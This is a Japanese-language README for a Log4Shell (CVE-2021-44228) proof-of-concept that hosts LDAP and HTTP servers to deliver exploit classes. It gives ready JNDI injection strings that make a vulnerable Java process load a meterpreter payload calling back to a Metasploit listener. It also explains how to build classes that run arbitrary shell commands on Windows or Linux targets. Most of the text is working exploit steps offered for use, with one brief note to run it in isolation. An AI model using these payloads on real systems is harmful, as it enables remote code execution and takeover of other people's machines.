
Log4Shell (Cve-2021-44228) 概念実証
Log4Shell (Cve-2021-44228) 概念実証
これは、Log4Shell エクスプロイト用の LDAP サーバーと HTTP サーバーをホストするシンプルな POC を実行する個人プロジェクトです。
run_servers.py は、LDAP リクエストに渡された Metasploit インスタンスにコールバックする、簡略化された meterpreter クライアントをセットアップします。これにより、meterpreter インスタンスは、Log4Shell エクスプロイトの影響を受けた元のプロセスのスレッド内で実行されます。
LDAP サーバーは Java で書かれ、HTTP サーバーは Python でホストされ、新しく作成された wwwroot ディレクトリから配信します。エクスプロイトのビルドと LDAP サーバーのホストには java、javac、mvn が必要です。Java 8 を使用しました。
Python3 も必要です。
実行: python3 run_servers.py <your_ip_address> <the_http_port> [ldap_port]
次に、jndi 文字列を脆弱なクライアントに渡してログに記録させます。例: ホストが 10.20.30.40 で、Metasploit インスタンスが 20.30.40.50 でポート 4444 で待ち受けている場合、次のようになります: '${jndi:ldap://10.20.30.40:1389/#MM:20.30.40.50:4444}'
ソースシステム上で実行可能ファイルを起動するクラスをビルドできます。 Windows または Linux ベースのシステムで異なるコマンドを指定できます。 たとえば、Windows システムで電卓を起動し、Linux システムで Firefox を起動する TestCmd というクラスを作成するには、次を実行します: python3 build_cmd.py TestCmd -w "Calc.exe" -l "firefox"
複数の事前ビルド済みクラスを持つことができます。ターゲット OS にコマンドを指定しない場合、何も実行されません。これらのコマンドは、Windows では CMD \c "your command"、Linux では /bin/sh -c "your command" として実行されることに注意してください。
上記のコマンドをトリガーするには、作成したクラスの名前を使用します。例: '${jndi:ldap://10.20.30.40:1389/#TestCmd'
Payload.java ファイルは、log4shell の問題が発生した呼び出しプロセス内でスレッドとして実行されるようにセットアップされた完全な Meterpreter ファイルです。これは手動でコンパイルし、wwwroot ディレクトリに移動する必要があります。さらに、必要なプロパティを設定した metasploit.dat ファイルが必要です。
clients ディレクトリには、実行可能な 2 つのクライアントがあります。1 つは、渡された最初のパラメータに対してエラーログを書き込むシンプルなコマンドラインプログラムです。
もう 1 つは、log_me ヘッダー情報を使用してエラーログを書き込む基本的な Web サーバーです。これは隔離された制御された環境で実行する必要があることに注意してください。
clients ディレクトリに移動し、./build_clients.sh を実行します。
clients ディレクトリから次を実行: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jWebServer [Port_number]
clients ディレクトリから次を実行: java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jCmdLine '${jndi:ldap://127.0.0.1:1389/#MM:127.0.0.1:4444}'